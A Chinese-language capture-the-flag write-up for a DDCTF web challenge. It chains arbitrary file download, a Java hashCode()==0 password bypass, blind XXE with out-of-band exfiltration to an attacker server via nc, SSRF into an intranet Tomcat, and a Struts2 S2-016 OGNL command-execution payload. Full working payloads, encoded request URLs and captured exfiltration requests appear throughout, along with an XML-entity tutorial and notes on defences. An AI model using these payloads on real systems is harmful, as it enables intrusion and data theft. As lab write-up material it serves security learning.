题目链接:http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/
登录与任意文件下载
首页有提示信息:Quick4j By Eliteams,可以在github找到源码:
https://github.com/Eliteams/quick4j
遇到登录框,不要上来就尝试注入什么的,先看看弱口令,或者题目有没有给用户账号等信息,本题在题目登录页面的源码中发现一串base64
YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu
解码为一个用户名密码:
admin: admin_password_2333_caicaikan
登录上去发现可下载informations/readme.txt这个文件,文件内容是Readme~~,没啥用,下载链接如下:
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=informations/readme.txt
直接尝试访问根目录下相应文件,访问成功
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/informations/readme.txt
猜测可以下载任意文件,尝试下载WEB-INF/web.xml成功
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=WEB-INF/web.xml
通过这个任意文件下载,加上github中的源码,下载能找到以下的XML以及class文件:
WEB-INF_classes_com_eliteams_quick4j_web_controller_CommonController.class
WEB-INF_classes_com_eliteams_quick4j_web_controller_FormController.class
WEB-INF_classes_com_eliteams_quick4j_web_controller_PageController.class
WEB-INF_classes_com_eliteams_quick4j_web_controller_UserController.class
WEB-INF_classes_com_eliteams_quick4j_web_dao_PermissionMapper.class
WEB-INF_classes_com_eliteams_quick4j_web_dao_PermissionMapper.xml
WEB-INF_classes_com_eliteams_quick4j_web_dao_RoleMapper.class
WEB-INF_classes_com_eliteams_quick4j_web_dao_RoleMapper.xml
WEB-INF_classes_com_eliteams_quick4j_web_dao_UserMapper.class
WEB-INF_classes_com_eliteams_quick4j_web_dao_UserMapper.xml
WEB-INF_classes_com_eliteams_quick4j_web_model_Permission.class
WEB-INF_classes_com_eliteams_quick4j_web_model_PermissionExample.class
WEB-INF_classes_com_eliteams_quick4j_web_model_Role.class
WEB-INF_classes_com_eliteams_quick4j_web_model_RoleExample.class
WEB-INF_classes_com_eliteams_quick4j_web_model_User.class
WEB-INF_classes_com_eliteams_quick4j_web_model_UserExample.class
WEB-INF_classes_com_eliteams_quick4j_web_security_OperationType.class
WEB-INF_classes_com_eliteams_quick4j_web_security_PermissionSign.class
WEB-INF_classes_com_eliteams_quick4j_web_security_Resource.class
WEB-INF_classes_com_eliteams_quick4j_web_security_RoleSign.class
WEB-INF_classes_com_eliteams_quick4j_web_security_SecurityRealm.class
WEB-INF_classes_com_eliteams_quick4j_web_service_PermissionService.class
WEB-INF_classes_com_eliteams_quick4j_web_service_RoleService.class
WEB-INF_classes_com_eliteams_quick4j_web_service_UserService.class
WEB-INF_web.xml
代码审计
通过JD-GUI反编译class加上对比github上的源码,发现UserController.class与SecurityRealm.class应该与题目有关
UserController.class
package com.eliteams.quick4j.web.controller;
import com.eliteams.quick4j.web.model.User;
import com.eliteams.quick4j.web.service.UserService;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import javax.annotation.Resource;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.validation.Valid;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.io.FileUtils;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
@Controller
@RequestMapping({"/user"})
public class UserController
{
public static final String hintFile = "/flag/hint.txt";
@Resource
private UserService userService;
@RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request)
{
try
{
Subject subject = SecurityUtils.getSubject();
if (subject.isAuthenticated()) {
return "redirect:/";
}
if (result.hasErrors())
{
model.addAttribute("error", "参数错误!");
return "login";
}
if ((user.getUsername().isEmpty()) || (user.getUsername() == null) ||
(user.getPassword().isEmpty()) || (user.getPassword() == null)) {
return "login";
}
subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword()));
User authUserInfo = this.userService.selectByUsername(user.getUsername());
request.getSession().setAttribute("userInfo", authUserInfo);
}
catch (AuthenticationException e)
{
model.addAttribute("error", "用户名或密码错误!");
return "login";
}
return "redirect:/";
}
@RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String logout(HttpSession session)
{
session.removeAttribute("userInfo");
Subject subject = SecurityUtils.getSubject();
subject.logout();
return "login";
}
@RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"admin"})
public String admin()
{
return "拥有admin角色,能访问";
}
@RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresPermissions({"user:create"})
public String create()
{
return "拥有user:create权限,能访问";
}
@RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"guest"})
public ResponseEntity<byte[]> download(HttpServletRequest request, String filename)
throws IOException
{
if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) {
return null;
}
String path = request.getServletContext().getRealPath("/");
System.out.println(path);
File file = new File(path + File.separator + filename);
HttpHeaders headers = new HttpHeaders();
String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1");
headers.setContentDispositionFormData("attachment", downloadFielName);
headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);
return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED);
}
@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"super_admin"})
public String xmlView(String xmlData)
{
if (xmlData.length() >= 1000) {
return "Too long~~";
}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(true);
try
{
DocumentBuilder builder = factory.newDocumentBuilder();
InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());
Document localDocument = builder.parse(xmlInputStream);
}
catch (ParserConfigurationException e)
{
e.printStackTrace();
return "ParserConfigurationException";
}
catch (SAXException e)
{
e.printStackTrace();
return "SAXException";
}
catch (IOException e)
{
e.printStackTrace();
return "IOException";
}
return "ok~ try to read /flag/hint.txt";
}
}
接受url
/rest/user/login
/rest/user/logout
/rest/user/admin
/rest/user/create
/rest/user/getInfomation
/rest/user/nicaicaikan_url_23333_secret
login与logout都是正常功能,admin与create就是检测了个权限,打印了个字符串。getImformation实现了这里之前的文件下载,这里看起来是过滤了一些父目录的字符串。nicaicaikan_url_23333_secret里的xmlView方法就有意思了,也是本题的重点。另外给了flag的提示:/flag/hint.txt
,也就是要读到网站服务器跟目录下的flag文件夹中的hint.txt,而且看起来这也只是个hint。
xmlView()
@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"super_admin"})
public String xmlView(String xmlData)
{
if (xmlData.length() >= 1000) {
return "Too long~~";
}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(true);
try
{
DocumentBuilder builder = factory.newDocumentBuilder();
InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());
Document localDocument = builder.parse(xmlInputStream);
}
【springmvc】@RequestParam详解以及加与不加的区别
- 这里没有配置
@RequestParam
,所以接受的参数名默认为函数的参数名:xmlData
- 首先检查了数据大小,然后设置了可以接受外部实体并去解析提交的xml数据
- 没有输出,存在一个
blind XXE
的漏洞 - 但是想要触发这个XXE漏洞需要
@RequiresRoles({"super_admin"})
,也就是超级管理员的权限 - 我们用题目给的admin账号并没有权限调用这个方法
SecurityRealm.class
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token)
throws AuthenticationException
{
String username = String.valueOf(token.getPrincipal());
String password = new String((char[])token.getCredentials());
User authentication = this.userService.authentication(new User(username, password));
if ((username.equals("superadmin_hahaha_2333")) && (password.hashCode() == 0))
{
String wonderful = "you are wonderful,boy~";
System.err.println(wonderful);
}
else if (authentication == null)
{
throw new AuthenticationException("用户名或密码错误!");
}
SimpleAuthenticationInfo authenticationInfo = new SimpleAuthenticationInfo(username, password, getName());
return authenticationInfo;
}
}
superadmin
发现这里的用户名为superadmin_hahaha_2333
很有可能就是之前的XXE漏洞需要的超级管理员权限。但是存在一个密码的验证:
password.hashCode() == 0
hashCode()
这里hashCode()是在Java的Object类中有一个方法,返回对象的hash值,这里算法是java自己完成的一个hash计算方法。所以要找到是一个字符串算完的hashCode是0,通过google搜索:hashcode zero,找到一个stackoverflow上的问题:Can a non-empty string have a hashcode of zero?
这里有答案给出:f5a5a608。尝试用账户:superadmin_hahaha_2333
密码:f5a5a608
成功登录
XXE
登录以后我们就可以访问nicaicaikan_url_23333_secret并且提交xmlData去触发XXE漏洞了,因为我是第一次接触XXE漏洞,这里详细记录一下今天的学习过程,了解XXE的这一节可以跳过。
概述:XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。主要是因为Web应用实现的XML解析器允许解析外部实体,并且这些外部实体的内容可以是由一些协议比如file,http等获取的。如果限制不严格,则可能获得服务器中的一些文件,或者内网信息。
XML与DTD
编辑工具
由于我的MAC的硬盘排线坏了,最近写笔记用的windows,有一个很久以前的微软的xml编辑器:XML Notepad,直接可以解析XML并输出,测试外部实体也支持file与http协议,可以作为理解XXE的好工具。直接用XML Notepad打开一个编辑好的XML文件就可以看到效果,给出一个示例:这里我在我的C盘下新建了一个flag.txt
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "file:///c:/flag.txt">
<!ENTITY flag2 SYSTEM "file:///c:/flag.txt">
]>
<root>flag1=&flag1;<br/>flag2=&flag2;</root>
基本概要
实体
定义实体是为了引用的!而一般实体(通用实体)与参数实体引用的方式是不同的!
内部实体与外部实体
内部实体与外部实体的区别在于SYSTEM标记,有SYSTEM标记的为外部实体,否则为内部实体
<!ENTITY flag1 "file:///home/flag.txt">
<!ENTITY flag2 SYSTEM "file:///home/flag.txt">
这里声明了两个实体:flag1为内部实体,flag2为外部实体,我们可以在xml的标签中通过&flag1
和&flag2
的方式引用这两个实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "file:///home/flag.txt">
<!ENTITY flag2 SYSTEM "file:///home/flag.txt">
]>
<root>flag1=&flag1;flag2=&flag2;</root>
可见flag1的值就是字符串”file:///home/flag.txt”,而flag2的值是文件系统中/home/flag.txt的内容。所以是外部实体被解析,通过一些协议去拿到数据,这里就是XXE的关键!
通用实体与参数实体
参数实体必须定义在单独的DTD文档中或XML文档的DTD区(但是引用只能在DTD文档中,即外部子集,而不能在XML文档的DTD区),前者为该XML文档的外部子集,后者为该XML文档的内部子集
在之前我们声明的所有实体都是通用实体,我们可以在整个文档中,包括DTD部分使用通用实体的引用,如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "flag.txt">
<!ENTITY flag2 "&flag1;">
]>
<r>flag1=&flag1;<br/>flag2=&flag2;</r>
可以成功输出两个相同的字符串,说明在DTD部分使用通用实体有效。
如果我们在声明实体的名称前空格加一个百分号,就声明了一个参数实体:
<!ENTITY % flag1 "flag.txt">
参数实体的引用方式为:%flag1;
,并且参数实体只能在DTD部分中引用,我们首先尝试:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 "flag.txt">
]>
<r>flag1=%flag1;</r>
发现直接输出了%flag1;
这个字符串,说明参数实体并不能在xml的标签中被引用,我们继续尝试:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 "flag.txt">
<!ENTITY flag2 "%flag1;">
]>
<r>flag2=&flag2;</r>
报错提示:内部标记中不允许使用参数实体引用,这里解决方式是将实体定义放到另一个文件,然后引用整个dtd,原因是:参数实体必须定义在单独的DTD文档中或XML文档的DTD区(但是引用只能在DTD文档中,即外部子集,而不能在XML文档的DTD区)
flag.dtd
<!ENTITY % flag1 "flag.txt">
<!ENTITY flag2 "%flag1;">
flag.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag SYSTEM "flag.dtd">
<r>flag2=&flag2;</r>
成功引用,这里首先说明外实体如果不指明协议,默认file协议去读取本目录的文件,但这里换成通用实体一样可以实现:
flag.dtd
<!ENTITY flag1 "flag.txt">
<!ENTITY flag2 "&flag1;">
flag.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag SYSTEM "flag.dtd">
<r>flag2=&flag2;</r>
参数实体高级技巧
为什么会存在参数实体这个东西?如果它本身完全可以由通用实体简便的替代,那参数实体就不应该出现啊!网上的一些说法:
- 它使我们能够简便地引用或修改DTD中常用的结构,我们只需维护一处代码。
- 参数实体的作用是作为DTD中的元素的条件控制
事实上是参数实体的一些使用方法不能用通用实体替代,如下:
外部引用实体定义
之前报了一个错:内部标记中不允许使用参数实体引用,但其实可以利用如下方式使用参数实体的引用而不引发报错,通过这种参数实体的使用方式可以方便的通过外部实体进行DTD定义的修改:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 "<!ENTITY flag2 'flag.txt'>">
%flag1;
]>
<r>&flag2;</r>
- 声明了一个参数实体flag1,内容是另一个实体的定义
- 在实体定义的平级,引用了flag1,相当于定义了flag1的内容
- 即定义了flag2实体
这里如果我们把flag1这个参数实体改为一个外部参数实体:
flag.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 SYSTEM "flag.dtd">
%flag1;
]>
<r>&flag2;</r>
flag.dtd
<!ENTITY flag2 "flag.txt">
效果同上,也就是说我们只需要修改flag.dtd就可以完成DTD的定义了。但这里如果我们把flag1换成通用实体,则不成功,如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "<!ENTITY flag2 'flag.txt'>">
&flag1;
]>
<r>&flag2;</r>
报错提示:未找到所需的DTD标记,说明只有参数实体可以作为声明DTD的标记,而通用实体的确可以存在于DTD中,只不过是在DTD的内容中出现,而不是DTD的标记本身。
带出数据
如果我们在外部实体的内容中使用,使用实体的引用是没有效果的:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "file:///home/flag.txt">
<!ENTITY flag2 SYSTEM "&flag1;">
]>
<root>flag1=&flag1;flag2=&flag2;</root>
报错提示:未能找到文件&flag1;
,这里说明通用实体flag1并没有在外部实体的内容中被解析,如果把flag1换成参数实体呢?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 "file:///home/flag.txt">
<!ENTITY flag2 SYSTEM "%flag1;">
]>
<root>flag2=&flag2;</root>
一样提示报错:未能找到文件%flag1;
。说明参数实体一样没有在外部实体的内容中被解析,但如果我们修改成如下的形式
flag.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag SYSTEM "flag.dtd">
<root>flag=&flag3;</root>
flag.dtd
<!ENTITY % flag1 "file:///c:/flag.txt">
<!ENTITY % flag2 "<!ENTITY flag3 SYSTEM '%flag1;'>">
%flag2;
则可以成功将flag.txt的内容带出来,说明flag1的参数传递是有效的。如果将flag1换成通用实体,则继续报错。可见在DTD部分中参数实体更实用一些。这里可以成功的原因应该是:
- 声明了一个flag1的内部参数实体,内容是一个file协议的字符串
- 声明了一个flag2的内部参数实体,内容是一个实体的定义,其中有参数实体flag1的引用
- 在DTD中引用了flag2实体,声明了flag3这个外部实体
- 在声明flag3时,内容已经被flag1的引用替换成file字符串
- 所以flag3内容就是flag.txt文件中的内容
这里如果我们把flag1改为外部实体,flag3声明的外部实体是我们服务器的url,并且拼接上flag1的引用,则可以把文件的内容带出到url中最终发送到我们的服务器上,这种攻击方式叫OOB(外带数据):
local.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % remote SYSTEM "http://YourServer/remote.xml">
%remote;]>
<root/>
remote.xml
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % init "<!ENTITY % send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;
实体总结
- 内部实体:实体内容就是定义的字符串本身
- 外部实体:实体的内容是通过协议字符串获得的内容
- 通用实体:也叫一般实体,定义主要是为了在文档正文中引用
- 参数实体:主要是为了在DTD部分引用,为了避免混淆,尽量在DTD中少用通用实体
清楚的利用这些实体才能深刻的理解XXE的攻击原理:
- 外部实体主要用于获取数据
- 通用实体用于在XXE中回显数据
- 参数实体与外部实体结合将获得数据发送出去
- 内部实体可能作为中间的过程步骤存在,如上声明了一个中间的实体定义,目的是为了解析参数实体
参考:
XML解析器
外部实体一般支持http,file等协议,不同的解析器实现的协议不同,具体内容如下所示:
只要实现了XML的解析功能,并且没有限制外部实体就有可能存在XXE漏洞,其中包括了:
- 网站的后端
- 一些应用程序(如XML Notepad)
- 甚至是浏览器
其中PHP和JAVA常用实现XML解析的方法如下:
php
php解析xml是利用的libxml模块,libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。可以通过libxml_disable_entity_loader(ture);这条语句来进制外部实体的加载。
SimpleXML
<?php
$a=<<<EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>
EOF;
$data= simplexml_load_string($a);
print_r($data);
?>
通过这种方式加载外部实体需要libxml版本小于2.9.1,大于这个版本即使libxml_disable_entity_loader(false);设置为关闭也无法加载。防御方法,使用高版本的libxml,禁用外部实体:
libxml_disable_entity_loader(true);
DOM
<?php
libxml_disable_entity_loader(false);
$xmlfile = <<<EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<root>&xxe;</root>
EOF;
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
print_r($creds);
?>
通过这种方式任意版本libxml均可加载外部实体,防御方法:禁用外部实体
libxml_disable_entity_loader(true);
java
文章中指出了Java常用的XML解析的库,如果不禁用外部实体都可能会产生XXE漏洞,本题是采用了javax.xml.parsers,部分代码如下:
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(true);
try{
DocumentBuilder builder = factory.newDocumentBuilder();
InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());
Document localDocument = builder.parse(xmlInputStream);
}
防御:只要把允许外部实体设置为false即可
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(false);
XXE攻击方法
XXE笔记参考
XML External Entity attack/XXE攻击
本题解法
首先尝试一个回显的XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>
url编码之后拼接到url中的xmlData参数中:
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20file%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3E%5d%3E%0a%3Croot%3E%26file%3b%3C%2froot%3E
根据分析的代码以及实际情况都是返回的:
ok~ try to read /flag/hint.txt
说明xml解析成功,并且没有hint.txt的数据。
OOB
没有可以直接回传的通道不意味着就不存在 XXE 攻击
因为是blindXXE,所以需要读出的数据放到参数实体中,然后将参数实体拼接到另一个获得外部引用实体的url中,即可把数据带出。这种外带数据的方式称之为OOB(Out of Band)。通过以下这种方式构造两个xml,即可每次攻击不改变提交的xml(local.xml),仅仅更改服务器上的remote.xml就好了。
local.xml
提交给nicaicaikan_url_23333_secret的xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % remote SYSTEM "http://YourServer/remote.xml">
%remote;]>
<root/>
- 第一行是xml的声明
- 第二行声明一个了文档类型
- 第三行声明了一个名为remote的外部参数实体,内容是远程的remote.xml中的内容
- 第四行在DTD内部引用这个remote的参数实体,也就是说明了remote.xml里也要是合法的DTD
- 第五行要写一个合法的闭合的标签
remote.xml
远程服务器的remote.xml
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % init "<!ENTITY % send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;
- 第一行声明了一个名为file的外部参数实体,内容是hint.txt
- 第二行声明了一个名为init的参数实体,内容是一个实体定义
- init内容的实体中,声明了一个名为send外部参数实体,内容是通过访问一个URL获得的内容
- 第三行引用init这个参数实体,真正的声明了其中的send这个参数实体,URL通过引用file这个参数实体得到真正的拼接值
- 第四行引用send这个参数实体,去访问了拼接出的url,成功的将hint.txt的数据带出
- 访问的url是nc开的端口或者是xss平台,并不会返回正确的DTD或者超时,所以这里最终xml解析失败
- 整个过程发生在解析xml中,数据已然带出。
利用流程
- 首先自己的服务器上写好可以访问的remote.xml
nc -l 1234
在服务上随便开个端口,等待接受数据,用xss平台也可以- 通过GET方法的xmlData参数把第一个xml(url编码)发送给nicaicaikan_url_23333_secret
- 服务器上接受数据即可
攻击流程
hint.txt
loacl.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % remote SYSTEM "http://YourServer/remote.xml">
%remote;]>
<root/>
remote.xml
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % init "<!ENTITY % send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;
nc
nc -l 1234
url
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3a%2f%2f103%2e42%2e28%2e252%2fremote%2exml%22%3E%0a%25remote%3b%5d%3E%0a%3Croot%2f%3Ey
RequestHead
GET /Flag%20in%20intranet%20tomcat_2%20server%208080%20port. HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_151
Host: 103.42.28.252:1234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
hint.txt
Flag in intranet tomcat_2 server 8080 port
tomcat_2
应该是一个内网的服务器可以去扫描内网,具体怎么用一个XXE去扫描内网我还没研究,这里猜出内网地址http://tomcat_2:8080
于是这里并不是读文件了,而是去用XXE去访问内网的一个URL:
file://flag/hint.txt
–> http://tomcat_2:8080
和之前的方式大同小异,只更改remote.xml内容如下:
<!ENTITY % file SYSTEM "http://tomcat_2:8080">
<!ENTITY % init "<!ENTITY % send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;
收到请求头:
GET /try%20to%20visit%20hello.action. HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_151
Host: 103.42.28.252:1234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
这里提示去访问hello.action
hello.action
继续更改remote.xml
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % init "<!ENTITY % send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;
继续收到请求头:
GET /This%20is%20Struts2%20Demo%20APP,%20try%20to%20read%20/flag/flag.txt. HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_151
Host: 103.42.28.252:1234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
这里提示这是一个Struts2的应用,请尝试去读到这台tomcat服务器的/flag/flag.txt文件,于应该是需要找到Struts2的漏洞
Struts2
这个JavaWeb的框架被称为漏洞之王,官方发的漏洞公告曾经还贴过漏洞证明,直接演示攻击方法,因此饱受诟病
官方漏洞公告
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins
相关报道
2013 年 7 月的 Struts2 漏洞实际带来多大影响?
一份数据告诉你,被万年漏洞王 Struts2 坑了的网站有哪些
漏洞利用
本题解法s2-016
本题我们采取s2-016的payload网上找到
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect%3a%24%7b%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]%20%7b%27netstat%27,%27-an%27%7d%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29%7d
url解码,格式化一下payload
redirect:${
#a=(new java.lang.ProcessBuilder(new java.lang.String[] {'netstat','-an'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader (#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println (#e),
#matt.getWriter().flush(),
#matt.getWriter().close()
}
大概的意思是用redirect:${}包裹java代码,变量前标识符用井号,语句分割用逗号,改成读文件的payload
redirect:${
#f=new java.io.File('/flag/flag.txt'),
#fs=new java.io.FileInputStream(#f),
#ISR=new java.io.InputStreamReader(#fs,'GBK'),
#br=new java.io.BufferedReader(#ISR),
#lText = #br.readLine(),
#ISR.close(),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#lText),
#matt.getWriter().flush(),
#matt.getWriter().close()
}
去除换行符,URL编码后添加到服务器的remote.xml
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect%3A%24%7B%23f%3Dnew%20java.io.File%28%27%2fflag%2fflag.txt%27%29%2C%23fs%3Dnew%20java.io.FileInputStream%28%23f%29%2C%23ISR%3Dnew%20java.io.InputStreamReader%28%23fs%2C%27GBK%27%29%2C%23br%3Dnew%20java.io.BufferedReader%28%23ISR%29%2C%23lText%20%3D%20%23br.readLine%28%29%2C%23ISR.close%28%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23lText%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://103.42.28.252:1234/%file;'>">
%int;
%send;
提交URL:
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3a%2f%2f103%2e42%2e28%2e252%2fremote%2exml%22%3E%0a%25remote%3b%5d%3E%0a%3Croot%2f%3Ey
服务器上成功打到flag
GET /DDCTF{You_Got_it_WonDe2fUl_Man_ha2333_CQjXiolS2jqUbYIbtrOb} HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_151
Host: 103.42.28.252:2345
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive